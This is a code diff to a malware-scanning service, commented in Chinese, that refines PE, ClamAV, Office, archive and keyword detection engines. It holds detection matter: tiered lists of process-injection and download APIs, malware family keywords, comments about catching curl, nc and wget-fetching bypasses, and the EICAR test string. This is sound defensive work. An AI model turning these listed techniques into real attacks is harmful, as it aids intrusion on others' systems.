severity=Severity.HIGH.value,
|
||||
rule="RWXSectionDetected",
|
||||
detail=f"检测到可写且可执行的危险节:{', '.join(rwx_sections)}",
|
||||
weight=40.0,
|
||||
)
|
||||
)
|
||||
|
||||
# 7) 32/64 位识别(info 级别,辅助判断)
|
||||
machine = None
|
||||
pe32 = None
|
||||
try:
|
||||
machine = int(pe.FILE_HEADER.Machine)
|
||||
pe32 = (pe.OPTIONAL_HEADER.Magic == 0x10B) # PE32
|
||||
except Exception:
|
||||
pass
|
||||
if machine is not None:
|
||||
try:
|
||||
from pefile import MACHINE_TYPES # noqa: PLC0415
|
||||
machine_name = MACHINE_TYPES.get(machine, f"UNKNOWN(0x{machine:04x})")
|
||||
except Exception:
|
||||
machine_name = f"0x{machine:04x}"
|
||||
bits = "32-bit" if pe32 else "64-bit"
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.LOW.value,
|
||||
rule="PEArchInfo",
|
||||
detail=f"PE 架构:{machine_name} / {bits}",
|
||||
weight=0.0,
|
||||
)
|
||||
)
|
||||
|
||||
# 8) 调试信息(pdb 路径或 debug 节)
|
||||
has_debug_dir = False
|
||||
has_debug_section = False
|
||||
try:
|
||||
debug_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[6] # IMAGE_DIRECTORY_ENTRY_DEBUG
|
||||
if debug_dir.VirtualAddress and debug_dir.Size:
|
||||
has_debug_dir = True
|
||||
except Exception:
|
||||
pass
|
||||
for section in getattr(pe, "sections", []) or []:
|
||||
try:
|
||||
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace").lower()
|
||||
if ".debug" in name or name.startswith("debug") or name.startswith(".pdb"):
|
||||
has_debug_section = True
|
||||
break
|
||||
except Exception:
|
||||
continue
|
||||
if has_debug_dir or has_debug_section:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.LOW.value,
|
||||
rule="DebugInformationPresent",
|
||||
detail="PE 包含调试信息(PDB 路径或 .debug 节),可用于逆向定位",
|
||||
weight=0.0,
|
||||
)
|
||||
)
|
||||
|
||||
return findings
|
||||
|
||||
def _suspicious_imports(self, pe: Any) -> List[str]:
|
||||
"""检测高危 API 导入。"""
|
||||
suspicious = {
|
||||
def _suspicious_imports(self, pe: Any) -> "tuple[List[str], List[str], List[str]]":
|
||||
"""导入 API 按恶意指向分档。
|
||||
|
||||
返回 (tier1, tier2, tier3):
|
||||
tier1 注入/后门级 API —— 单独出现即可疑
|
||||
tier2 危险能力 API —— 正常软件也常用,需多项共存才计分
|
||||
tier3 反调试/探测 API —— 信息项,不计分(大量合法商业软件带加壳自保会用)
|
||||
"""
|
||||
tier1_set = {
|
||||
"VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread",
|
||||
"NtUnmapViewOfSection", "SetWindowsHookEx", "OpenProcess",
|
||||
"WinHttpOpen", "InternetOpenUrl", "URLDownloadToFile",
|
||||
"CryptEncrypt", "AdjustTokenPrivileges", "CreateService",
|
||||
"ShellExecute", "WinExec", "IsDebuggerPresent", "CheckRemoteDebuggerPresent",
|
||||
"NtUnmapViewOfSection", "SetWindowsHookEx", "SetWindowsHookExA",
|
||||
"SetWindowsHookExW", "URLDownloadToFileA", "URLDownloadToFileW",
|
||||
"QueueUserAPC", "NtQueueApcThread", "RtlCreateUserThread",
|
||||
}
|
||||
found: List[str] = []
|
||||
tier2_set = {
|
||||
"OpenProcess", "WinHttpOpen", "WinHttpOpenRequest", "WinHttpSendRequest",
|
||||
"CryptEncrypt", "CryptDeriveKey", "AdjustTokenPrivileges",
|
||||
"LookupPrivilegeValueA", "LookupPrivilegeValueW", "OpenProcessToken",
|
||||
"VirtualProtectEx", "ReadProcessMemory", "SuspendThread", "GetAsyncKeyState",
|
||||
"SetWinEventHook", "HttpSendRequestA", "InternetWriteFile",
|
||||
"RegSetValueExA", "RegSetValueExW",
|
||||
# 以下 API 恶意软件常用,但任何"要装服务/要启动进程/要联网"的正常
|
||||
# 软件都必然导入它们,不足以单独定罪
|
||||
"WinExec", "ShellExecuteExA", "ShellExecuteExW", "CreateServiceA",
|
||||
"CreateServiceW", "InternetOpenUrlA", "InternetOpenUrlW",
|
||||
"CreateNamedPipeA", "DefineDosDeviceW",
|
||||
}
|
||||
tier3_set = {
|
||||
"IsDebuggerPresent", "CheckRemoteDebuggerPresent", "OutputDebugStringA",
|
||||
"GetTickCount", "GetTickCount64", "QueryPerformanceCounter",
|
||||
"GetProcessHeap", "FindWindowA", "FindWindowW",
|
||||
}
|
||||
found1: List[str] = []
|
||||
found2: List[str] = []
|
||||
found3: List[str] = []
|
||||
try:
|
||||
for entry in getattr(pe, "DIRECTORY_ENTRY_IMPORT", []) or []:
|
||||
for imp in entry.imports:
|
||||
if imp.name:
|
||||
name = imp.name.decode("utf-8", errors="replace")
|
||||
if name in suspicious:
|
||||
found.append(name)
|
||||
if not imp.name:
|
||||
continue
|
||||
name = imp.name.decode("utf-8", errors="replace")
|
||||
if name in tier1_set:
|
||||
found1.append(name)
|
||||
elif name in tier2_set:
|
||||
found2.append(name)
|
||||
elif name in tier3_set:
|
||||
found3.append(name)
|
||||
except Exception: # noqa: BLE001
|
||||
pass
|
||||
return sorted(set(found))
|
||||
return sorted(set(found1)), sorted(set(found2)), sorted(set(found3))
|
||||
|
||||
def _has_signature(self, pe: Any) -> bool:
|
||||
"""检查 PE 是否包含 Authenticode 签名目录。"""
|
||||
@@ -286,8 +574,25 @@ class BinaryEngine(Engine):
|
||||
return False
|
||||
|
||||
|
||||
def _judge_yara_rule(rule: str, tags: List[str]) -> tuple[str, float]:
|
||||
"""依据 YARA 规则名与标签判定严重度。"""
|
||||
_YARA_RISK_SEVERITY = {
|
||||
"critical": Severity.CRITICAL.value,
|
||||
"high": Severity.HIGH.value,
|
||||
"medium": Severity.MEDIUM.value,
|
||||
"low": Severity.LOW.value,
|
||||
}
|
||||
_YARA_RISK_WEIGHT = {"critical": 85.0, "high": 60.0, "medium": 30.0, "low": 10.0}
|
||||
|
||||
|
||||
def _judge_yara_rule(rule: str, tags: List[str], meta: Dict[str, Any] | None = None) -> tuple[str, float]:
|
||||
"""依据规则 meta.risk_level 判定严重度(其次才是标签/规则名启发式)。
|
||||
|
||||
v0.2.3 只看标签与规则名,规则库里的 risk_level 被完全忽略,
|
||||
结果 65 分的 C1_PE_RAT 显示成"低危",权重与严重度两套口径。
|
||||
"""
|
||||
risk = str((meta or {}).get("risk_level", "")).strip().lower()
|
||||
if risk in _YARA_RISK_SEVERITY:
|
||||
return _YARA_RISK_SEVERITY[risk], _YARA_RISK_WEIGHT[risk]
|
||||
|
||||
tag_set = {t.lower() for t in tags}
|
||||
text = f"{rule} {' '.join(tags)}".lower()
|
||||
|
||||
|
||||
@@ -45,9 +45,21 @@ class ClamAVEngine(Engine):
|
||||
except _ClamdSizeLimit:
|
||||
# 文件超过 ClamAV MaxFileSize(clamd.conf 可调,默认 1G)
|
||||
# → 引擎只是拒扫这个大文件,不当成引擎故障
|
||||
# 但"没查过"必须留下信号:策略里 max_file_size 是 1.5G,1G~1.5G 的文件
|
||||
# 原本在 L1 完全裸奔却仍可能 clean/pass。按"不可扫描不放行"落人工复核。
|
||||
result.ok = True
|
||||
result.meta["skipped"] = "size_limit"
|
||||
result.meta["reason"] = "文件超过 ClamAV 大小限制已跳过"
|
||||
result.findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.MEDIUM.value,
|
||||
rule="ClamAVSkippedSizeLimit",
|
||||
detail="文件超过 clamd MaxFileSize,L1 签名查杀未执行,按不可扫描内容处置",
|
||||
weight=30.0,
|
||||
)
|
||||
)
|
||||
return result
|
||||
except Exception as exc: # noqa: BLE001
|
||||
# 真·引擎不可用:连不上 / PING 超时 / daemon 挂了
|
||||
@@ -267,18 +279,31 @@ def _parse_clamd_response(text: str) -> Dict[str, Any]:
|
||||
|
||||
|
||||
# 签名名中的可信度关键词映射到严重度
|
||||
_HIGH_KEYWORDS = ("ransom", "crypt", "trojan", "backdoor", "rootkit", "stealer", "keylog", "worm", "dropper", "ransomware")
|
||||
_MEDIUM_KEYWORDS = ("generic", "heur", "packed", "obfusc", "suspect", "malware", "riskware", "virus")
|
||||
_UNWANTED_KEYWORDS = ("PUA", "unwanted", "toolkit", "pup", "adware")
|
||||
_HIGH_KEYWORDS = ("RANSOM", "CRYPT", "TROJAN", "BACKDOOR", "ROOTKIT", "STEALER", "KEYLOG", "WORM", "DROPPER")
|
||||
_MEDIUM_KEYWORDS = ("GENERIC", "HEUR", "PACKED", "OBFUSC", "SUSPECT", "MALWARE", "RISKWARE", "VIRUS")
|
||||
_UNWANTED_KEYWORDS = ("PUA", "UNWANTED", "TOOLKIT", "PUP", "ADWARE")
|
||||
|
||||
# EICAR 测试病毒签名 —— 明确标为 critical(等保要求:检测到即阻断)
|
||||
_EICAR_SIGNATURES = ("Eicar-Test-Signature", "EICAR-AV-Test", "Eicar-Test-Signature.UNOFFICIAL")
|
||||
|
||||
|
||||
def _judge_signature(signature: str) -> tuple[str, float]:
|
||||
"""依据签名名判定严重度与权重。"""
|
||||
"""依据签名名判定严重度与权重。
|
||||
|
||||
权重档位:
|
||||
critical 95 → ClamAV 明确的高危家族(ransom/stealer/worm/...)
|
||||
critical 90 → EICAR 测试病毒(必须阻断)
|
||||
high 85 → 其他 malware 签名(默认,检测到即危险)
|
||||
medium 25 → PUA/广告软件等低危
|
||||
"""
|
||||
upper = signature.upper()
|
||||
if any(k in upper for k in _HIGH_KEYWORDS):
|
||||
if upper in _EICAR_SIGNATURES or "EICAR" in upper:
|
||||
return Severity.CRITICAL.value, 90.0
|
||||
if any(k in upper for k in _HIGH_KEYWORDS):
|
||||
return Severity.CRITICAL.value, 95.0
|
||||
if any(k in upper for k in _UNWANTED_KEYWORDS):
|
||||
return Severity.MEDIUM.value, 25.0
|
||||
if any(k in upper for k in _MEDIUM_KEYWORDS):
|
||||
return Severity.HIGH.value, 60.0
|
||||
return Severity.HIGH.value, 55.0
|
||||
return Severity.HIGH.value, 70.0
|
||||
# 默认:ClamAV 签名命中就是 malware,直接高危
|
||||
return Severity.HIGH.value, 85.0
|
||||
|
||||
@@ -56,6 +56,19 @@ EML_EXTS = {".eml", ".msg"}
|
||||
# 带 VBA 宏的 Office 扩展名(用于 VBA 纯文本扫描触发)
|
||||
VBA_MACRO_OFFICE_EXTS = OLE_EXTS | OOXML_EXTS | {".bas", ".vba", ".cls", ".frm"}
|
||||
|
||||
# OOXML 包内的内嵌 OLE 部件目录
|
||||
EMBED_PREFIX_RE = re.compile(r"^(?:word|xl|ppt)/embeddings/.+")
|
||||
|
||||
# 内嵌对象中的办公载体:文档互嵌(子表格/图表/PDF)是正常用法,不等于藏可执行
|
||||
OFFICE_PART_EXTS = {
|
||||
".docx", ".docm", ".xlsx", ".xlsm", ".pptx", ".pptm",
|
||||
".doc", ".xls", ".ppt", ".pdf", ".rtf", ".xml", ".txt", ".csv",
|
||||
".htm", ".html", ".wmf", ".emf", ".bin",
|
||||
}
|
||||
|
||||
# 内嵌部件里直接判定为可执行对象的扩展名
|
||||
EXEC_PART_EXTS = {".exe", ".dll", ".scr", ".js", ".jse", ".vbs", ".vbe", ".bat", ".cmd", ".ps1", ".hta", ".com", ".msi"}
|
||||
|
||||
# VBA 自动执行入口关键词
|
||||
VBA_AUTOEXEC_PATTERNS = [
|
||||
r"Sub\s+AutoOpen\s*\(", r"Sub\s+AutoExec\s*\(", r"Sub\s+AutoNew\s*\(",
|
||||
@@ -211,14 +224,16 @@ class DocumentEngine(Engine):
|
||||
else:
|
||||
parser.close()
|
||||
except Exception as exc: # noqa: BLE001
|
||||
# 宏流解析不了 = 内容不可判定。这类畸形 OLE 常被用来探测解析器异常,
|
||||
# 给 0 分等于"看不懂就放行",落人工复核。
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.LOW.value,
|
||||
severity=Severity.MEDIUM.value,
|
||||
rule="OleToolsUnavailable",
|
||||
detail=f"VBA 宏解析失败:{exc}",
|
||||
weight=0.0,
|
||||
weight=30.0,
|
||||
)
|
||||
)
|
||||
|
||||
@@ -407,6 +422,24 @@ class DocumentEngine(Engine):
|
||||
"excerpt": excerpt,
|
||||
}
|
||||
|
||||
def _looks_like_executable(self, zf: Any, name: str) -> bool:
|
||||
"""判断内嵌部件是否为可执行载荷(扩展名 + 文件头魔数)。
|
||||
|
||||
oleObject1.bin 之类的外壳里可能装着真正的 PE,光看扩展名会漏;
|
||||
反之把每个 .bin 都判成可执行又会拦掉正常的图表/子文档。
|
||||
"""
|
||||
if os.path.splitext(name)[1].lower() in EXEC_PART_EXTS:
|
||||
return True
|
||||
try:
|
||||
with zf.open(name) as fp:
|
||||
head = fp.read(1 << 20)
|
||||
except Exception: # noqa: BLE001
|
||||
return False
|
||||
if head[:2] == b"MZ" or head[:4] in (b"\x7fELF", b"\xca\xfe\xba\xbe"):
|
||||
return True
|
||||
# OLE 复合容器(Package/Ole10Native)内嵌 PE:找 MZ..PE 头
|
||||
return bool(re.search(rb"MZ[\x00-\xff]{0,64}PE\x00\x00", head))
|
||||
|
||||
def _scan_ooxml(self, target: ScanTarget) -> List[Finding]:
|
||||
"""检测 OOXML(docx/xlsx/pptx)中的外部引用与外部链接。"""
|
||||
findings: List[Finding] = []
|
||||
@@ -429,9 +462,11 @@ class DocumentEngine(Engine):
|
||||
weight=45.0,
|
||||
)
|
||||
)
|
||||
if name.startswith("word/embeddings/") or name.startswith("xl/embeddings/") or name.startswith("ppt/embeddings/"):
|
||||
# 内嵌 OLE 部件。zip 目录条目(以 / 结尾、长度为 0)不是部件——
|
||||
# PowerPoint 导出的包常带空的 ppt/embeddings/ 目录,按文件处理会凭空报内嵌对象。
|
||||
if EMBED_PREFIX_RE.match(name) and not name.endswith("/"):
|
||||
embedded_ext = os.path.splitext(name)[1].lower()
|
||||
if embedded_ext in {".exe", ".dll", ".scr", ".js", ".vbs", ".bat", ".bin"}:
|
||||
if self._looks_like_executable(zf, name):
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
@@ -442,6 +477,17 @@ class DocumentEngine(Engine):
|
||||
weight=75.0,
|
||||
)
|
||||
)
|
||||
elif embedded_ext in OFFICE_PART_EXTS:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.LOW.value,
|
||||
rule="EmbeddedObject",
|
||||
detail=f"文档内嵌办公对象:{name}",
|
||||
weight=5.0,
|
||||
)
|
||||
)
|
||||
else:
|
||||
findings.append(
|
||||
Finding(
|
||||
|
||||
@@ -27,7 +27,14 @@ from app.engines.base import Finding, ScanTarget, Severity
|
||||
ARCHIVE_EXTS = {".zip", ".jar", ".war", ".apk", ".epub", ".docx", ".xlsx", ".pptx", ".odt", ".ods", ".odp"}
|
||||
TAR_EXTS = {".tar", ".gz", ".tgz", ".bz2", ".xz", ".tbz2", ".txz"}
|
||||
|
||||
_SAFE_NAME_RE = re.compile(r"[^A-Za-z0-9._一-鿿-]+")
|
||||
_SAFE_NAME_RE = re.compile(
|
||||
r"[^A-Za-z0-9._一-鿿" # ASCII + CJK 统一汉字
|
||||
r"\U0001F300-\U0001FAFF" # Emoji 表情符号
|
||||
r"\U0001F000-\U0001F2FF" # 符号和象形文字扩展 A
|
||||
r"\U00002600-\U000027BF" # 杂项符号 + 装饰符号
|
||||
r"\U00002B00-\U00002BFF" # 箭头等
|
||||
r"-]+"
|
||||
)
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -198,8 +205,9 @@ class SafeExtractor:
|
||||
safe_name = self._sanitize_name(name)
|
||||
dest = os.path.join(out_dir, safe_name)
|
||||
try:
|
||||
written = 0
|
||||
overflow = False
|
||||
with zf.open(info) as src, open(dest, "wb") as out:
|
||||
written = 0
|
||||
while True:
|
||||
chunk = src.read(1024 * 1024)
|
||||
if not chunk:
|
||||
@@ -215,20 +223,22 @@ class SafeExtractor:
|
||||
f"成员 {name} 实际解压超限,已丢弃",
|
||||
10.0,
|
||||
)
|
||||
overflow = True
|
||||
break
|
||||
out.write(chunk)
|
||||
else:
|
||||
report.total_bytes += written
|
||||
report.files.append(
|
||||
ScanTarget(
|
||||
path=dest,
|
||||
filename=safe_name,
|
||||
declared_ext=os.path.splitext(safe_name)[1].lower(),
|
||||
logical_path=f"{target.logical_path}!/{name}",
|
||||
depth=target.depth + 1,
|
||||
is_extracted=True,
|
||||
)
|
||||
# 成员必须回到扫描队列,否则压缩包/OOXML 里的内容永远不参与检测
|
||||
if not overflow:
|
||||
report.total_bytes += written
|
||||
report.files.append(
|
||||
ScanTarget(
|
||||
path=dest,
|
||||
filename=safe_name,
|
||||
declared_ext=os.path.splitext(safe_name)[1].lower(),
|
||||
logical_path=f"{target.logical_path}!/{name}",
|
||||
depth=target.depth + 1,
|
||||
is_extracted=True,
|
||||
)
|
||||
)
|
||||
except Exception as exc: # noqa: BLE001
|
||||
self._add_finding(
|
||||
report,
|
||||
@@ -316,14 +326,26 @@ class SafeExtractor:
|
||||
continue
|
||||
with src, open(dest, "wb") as out:
|
||||
written = 0
|
||||
overflow = False
|
||||
while True:
|
||||
chunk = src.read(1024 * 1024)
|
||||
if not chunk:
|
||||
break
|
||||
written += len(chunk)
|
||||
if written > self.settings.max_upload_bytes:
|
||||
out.close()
|
||||
os.remove(dest)
|
||||
self._add_finding(
|
||||
report,
|
||||
Severity.MEDIUM.value,
|
||||
"MemberTooLarge",
|
||||
f"成员 {name} 实际解压超限,已丢弃",
|
||||
10.0,
|
||||
)
|
||||
overflow = True
|
||||
break
|
||||
out.write(chunk)
|
||||
if not overflow:
|
||||
report.total_bytes += written
|
||||
report.files.append(
|
||||
ScanTarget(
|
||||
|
||||
@@ -13,6 +13,7 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
from typing import Any, Dict, List
|
||||
|
||||
@@ -20,10 +21,33 @@ from app.engines.base import Engine, EngineResult, Finding, ScanTarget, Severity
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# cross_line 规则用的续行归一:换行(及其两侧空白)压成一个空格
|
||||
NEWLINE_RUN_RE = re.compile(r"\s*[\r\n]+\s*")
|
||||
|
||||
|
||||
class KeywordEngine(Engine):
|
||||
"""内网特征词表匹配引擎。"""
|
||||
|
||||
# ---- 跳过列表:二进制 / 压缩封装 / 媒体文件 ----
|
||||
# 这些文件有专门引擎处理(PDF/Office/Archive/PE 等),
|
||||
# 它们的内容是压缩流或二进制格式,关键词 regex 在里面会大面积误报。
|
||||
# 短关键词 (nc/wce/curl/...) 在压缩流里等于伪随机字节必然碰撞。
|
||||
BINARY_SKIP_EXTS = frozenset({
|
||||
# PDF / Office
|
||||
".pdf", ".docx", ".docm", ".doc", ".xlsx", ".xlsm", ".xls",
|
||||
".pptx", ".pptm", ".ppt", ".ppsx", ".pps", ".potx",
|
||||
# 压缩包
|
||||
".rar", ".zip", ".7z", ".tar", ".gz", ".bz2", ".xz", ".tgz",
|
||||
".iso", ".img", ".dmg",
|
||||
# 图片
|
||||
".png", ".jpg", ".jpeg", ".gif", ".bmp", ".tiff", ".tif", ".webp",
|
||||
".ico", ".svg",
|
||||
# 视频
|
||||
".mp4", ".avi", ".mkv", ".mov", ".flv", ".wmv", ".webm",
|
||||
# 音频
|
||||
".mp3", ".wav", ".flac", ".ogg", ".aac", ".wma", ".m4a",
|
||||
})
|
||||
|
||||
name = "keywords"
|
||||
layer = "L2B"
|
||||
version = "1.0"
|
||||
@@ -57,6 +81,14 @@ class KeywordEngine(Engine):
|
||||
|
||||
findings: List[Finding] = []
|
||||
|
||||
# ---- 跳过二进制/压缩封装文件 ----
|
||||
# 这些文件内容是压缩流或纯二进制,短关键词 regex 在里面必然误报
|
||||
ext = (target.declared_ext or "").lower()
|
||||
if not ext and target.path:
|
||||
ext = os.path.splitext(target.path)[1].lower()
|
||||
if ext in self.BINARY_SKIP_EXTS:
|
||||
return result
|
||||
|
||||
try:
|
||||
text = self._extract_text(target.path, target.declared_ext)
|
||||
except Exception: # noqa: BLE001
|
||||
@@ -65,6 +97,14 @@ class KeywordEngine(Engine):
|
||||
if not text:
|
||||
return result
|
||||
|
||||
# ---- 预处理 ----
|
||||
# 默认按原始行匹配:把整篇文本的换行全部删除会让上一行行尾和下一行行首
|
||||
# 黏成一句话(Ruby 源码 "…breed\n+fetch()…" 曾被当成 curl 特征命中)。
|
||||
# cross_line: true 的规则再跑一遍"换行压成空格"的文本,用于兜住
|
||||
# wget \ + 换行 + -O payload 这类续行绕过;保留分隔符,不产生黏连。
|
||||
text_norm = text.replace("\r\n", "\n").replace("\r", "\n")
|
||||
text_joined = NEWLINE_RUN_RE.sub(" ", text_norm)
|
||||
|
||||
for rule in self._compiled:
|
||||
match_mode = rule.get("match", "contains")
|
||||
rule_name = rule.get("name", "keyword")
|
||||
@@ -77,23 +117,29 @@ class KeywordEngine(Engine):
|
||||
if match_mode == "regex":
|
||||
compiled = rule.get("_re")
|
||||
if compiled:
|
||||
for m in compiled.finditer(text):
|
||||
snippet = text[max(0, m.start() - 10): m.end() + 10]
|
||||
hits.append(snippet.strip())
|
||||
scan_targets = [text_norm]
|
||||
if rule.get("cross_line"):
|
||||
scan_targets.append(text_joined)
|
||||
for body in scan_targets:
|
||||
for m in compiled.finditer(body):
|
||||
snippet = body[max(0, m.start() - 10): m.end() + 10]
|
||||
hits.append(" ".join(snippet.split()))
|
||||
if len(hits) >= 3:
|
||||
break
|
||||
if len(hits) >= 3:
|
||||
break
|
||||
|
||||
elif match_mode == "any_of":
|
||||
keywords = rule.get("keywords", [])
|
||||
for kw in keywords:
|
||||
if kw.lower() in text.lower():
|
||||
if kw.lower() in text_norm.lower():
|
||||
hits.append(kw)
|
||||
if len(hits) >= 3:
|
||||
break
|
||||
|
||||
elif match_mode == "contains":
|
||||
pattern = rule.get("pattern", "")
|
||||
if pattern and (pattern.lower() in text.lower()):
|
||||
if pattern and (pattern.lower() in text_norm.lower()):
|
||||
hits.append(pattern)
|
||||
|
||||
if hits:
|
||||
|
||||
@@ -108,6 +108,9 @@ class StructureEngine(Engine):
|
||||
)
|
||||
|
||||
# 3) 危险可执行扩展名(顶层文件)
|
||||
# 这是「载体」信号而不是恶意行为:单独命中应当进人工复核(≥review_score),
|
||||
# 但不能成为把后续中/低置信度检测一起顶过 block_score 的底座,
|
||||
# 否则正常签名的 exe/dll 会被判恶意。
|
||||
if ext in DANGEROUS_EXTS and not target.is_extracted:
|
||||
severity = Severity.CRITICAL.value if ext in {".exe", ".scr", ".dll", ".com", ".pif"} else Severity.HIGH.value
|
||||
findings.append(
|
||||
@@ -117,7 +120,7 @@ class StructureEngine(Engine):
|
||||
severity=severity,
|
||||
rule="DangerousExecutableExtension",
|
||||
detail=f"文件类型为可执行/脚本格式:{ext}",
|
||||
weight=45.0 if severity == Severity.CRITICAL.value else 30.0,
|
||||
weight=35.0 if severity == Severity.CRITICAL.value else 30.0,
|
||||
)
|
||||
)
|
||||
|
||||
@@ -131,6 +134,9 @@ class StructureEngine(Engine):
|
||||
# 4c) 伪装扩展名 & 双扩展名
|
||||
findings.extend(self._check_extension_mismatch(target, real_type, real_ext))
|
||||
|
||||
# 4d) 内嵌 EICAR 字节序列检测(ClamAV 只匹配精确 68B 纯 EICAR 的补充)
|
||||
findings.extend(_check_embedded_eicar(target.path, ext, result.meta.get("size", 0)))
|
||||
|
||||
# 5) LNK 快捷方式深度解析(Windows 专属,Linux 纵深防御)
|
||||
if ext == ".lnk" or real_ext == ".lnk":
|
||||
findings.extend(self._inspect_lnk(target))
|
||||
@@ -577,6 +583,7 @@ class StructureEngine(Engine):
|
||||
|
||||
# ZIP/OOXML 结构损坏(CRC 校验或 central directory)
|
||||
if real_lower.startswith("zip") or ext in {".docx", ".xlsx", ".pptx", ".xlsm", ".docm", ".pptm", ".zip", ".jar", ".apk"}:
|
||||
findings.extend(_check_zip_trailing_garbage(path))
|
||||
try:
|
||||
with zf.ZipFile(path, "r") as zfh:
|
||||
bad = zfh.testzip()
|
||||
@@ -647,19 +654,10 @@ class StructureEngine(Engine):
|
||||
filename = (target.filename or "").lower()
|
||||
|
||||
# 双扩展名:安全扩展名 + 危险扩展名结尾(如 invoice.pdf.exe)
|
||||
safe_then_dangerous = (
|
||||
filename.endswith(".exe") or filename.endswith(".dll") or filename.endswith(".scr")
|
||||
or filename.endswith(".com") or filename.endswith(".pif") or filename.endswith(".cpl")
|
||||
or filename.endswith(".msi") or filename.endswith(".lnk") or filename.endswith(".chm")
|
||||
or filename.endswith(".bat") or filename.endswith(".cmd") or filename.endswith(".ps1")
|
||||
or filename.endswith(".vbs") or filename.endswith(".hta")
|
||||
or filename.endswith(".elf") or filename.endswith(".so")
|
||||
or filename.endswith(".desktop") or filename.endswith(".run") or filename.endswith(".bin")
|
||||
or filename.endswith(".deb") or filename.endswith(".appimage")
|
||||
)
|
||||
safe_exts = {".txt", ".pdf", ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".doc", ".docx",
|
||||
".xls", ".xlsx", ".ppt", ".pptx", ".rtf", ".csv", ".xml", ".html", ".htm",
|
||||
".zip", ".rar", ".7z", ".wps", ".et", ".dps", ".wpt", ".ett", ".dpt"}
|
||||
# 用 DANGEROUS_EXTS 做单一事实源,避免手工维护 endswith 链漏覆盖
|
||||
_dangerous_tuple = tuple(sorted(DANGEROUS_EXTS, key=len, reverse=True))
|
||||
safe_then_dangerous = filename.endswith(_dangerous_tuple)
|
||||
safe_exts = _SAFE_PREFIX_EXTS
|
||||
|
||||
if safe_then_dangerous:
|
||||
# 取最后两个扩展名
|
||||
@@ -685,7 +683,7 @@ class StructureEngine(Engine):
|
||||
return findings
|
||||
|
||||
# 真实类型危险可执行,声明安全类型 → 伪装
|
||||
from app.engines.structure import DANGEROUS_EXTS
|
||||
# DANGEROUS_EXTS 是模块级常量,此处直接引用
|
||||
if real_ext in DANGEROUS_EXTS and ext not in DANGEROUS_EXTS and ext:
|
||||
findings.append(
|
||||
Finding(
|
||||
@@ -869,7 +867,9 @@ class StructureEngine(Engine):
|
||||
total_uncompressed = 0
|
||||
executable_members: List[str] = []
|
||||
traversal_members: List[str] = []
|
||||
long_filename_members: List[str] = []
|
||||
member_count = 0
|
||||
encrypted_count = 0
|
||||
|
||||
try:
|
||||
with zipfile.ZipFile(target.path) as zf:
|
||||
@@ -883,6 +883,10 @@ class StructureEngine(Engine):
|
||||
executable_members.append(name)
|
||||
if _is_path_traversal(name):
|
||||
traversal_members.append(name)
|
||||
if info.flag_bits & 0x1: # ZIP 加密标志(bit 0)
|
||||
encrypted_count += 1
|
||||
if len(os.path.basename(name)) > 120:
|
||||
long_filename_members.append(name)
|
||||
except Exception as exc: # noqa: BLE001
|
||||
return [
|
||||
Finding(
|
||||
@@ -955,6 +959,30 @@ class StructureEngine(Engine):
|
||||
)
|
||||
)
|
||||
|
||||
if encrypted_count > 0:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.MEDIUM.value,
|
||||
rule="EncryptedArchive",
|
||||
detail=f"归档内含加密成员 {encrypted_count} 个(bit0 flag 置位),无法扫描内部内容",
|
||||
weight=20.0,
|
||||
)
|
||||
)
|
||||
|
||||
if long_filename_members:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.LOW.value,
|
||||
rule="LongFilename",
|
||||
detail=f"归档内存在超长文件名(>120 字符){len(long_filename_members)} 个,可能规避扫描或探测边界",
|
||||
weight=5.0,
|
||||
)
|
||||
)
|
||||
|
||||
return findings
|
||||
|
||||
def _inspect_tar(self, target: ScanTarget, max_ratio: int, max_total: int) -> List[Finding]:
|
||||
@@ -1033,17 +1061,115 @@ def _is_path_traversal(name: str) -> bool:
|
||||
return ".." in parts
|
||||
|
||||
|
||||
# 安全/文档类扩展名集合——双扩展名伪装中作为"前缀"出现
|
||||
_SAFE_PREFIX_EXTS = DOCUMENT_EXTS | {
|
||||
".txt", ".log", ".csv", ".json", ".xml", ".html", ".htm",
|
||||
".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".svg",
|
||||
".zip", ".rar", ".7z", ".tar", ".gz", ".bz2",
|
||||
".wps", ".et", ".dps", ".wpt", ".ett", ".dpt", ".rtf", ".odt",
|
||||
}
|
||||
|
||||
|
||||
def _check_embedded_eicar(path: str, ext: str, size: int) -> List[Finding]:
|
||||
"""检测文件中是否内嵌 EICAR 测试病毒字节序列。
|
||||
|
||||
ClamAV 的 Eicar-Test-Signature 只匹配**精确 68 字节纯 EICAR 文件**——
|
||||
任何把 EICAR 前面/后面加哪怕一个字节的文件(比如加换行、嵌入大文件尾部)
|
||||
都不会被命中。本函数作为补充,对文本/代码文件扫描是否含有 EICAR 字节串。
|
||||
|
||||
检测范围限制在前 1MB(足够覆盖绝大多数场景,同时防止扫描超大文件)。
|
||||
"""
|
||||
findings: List[Finding] = []
|
||||
# 标准 EICAR 字节序列(注意:Python 字符串里 \ 是转义,这里用原始 bytes)
|
||||
EICAR_BYTES = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||
# 只对纯文本/代码类扩展名做(二进制文件里出现 EICAR 几乎不可能)
|
||||
TEXT_EXTS = {".txt", ".ps1", ".js", ".bat", ".cmd", ".vbs", ".sh", ".bash",
|
||||
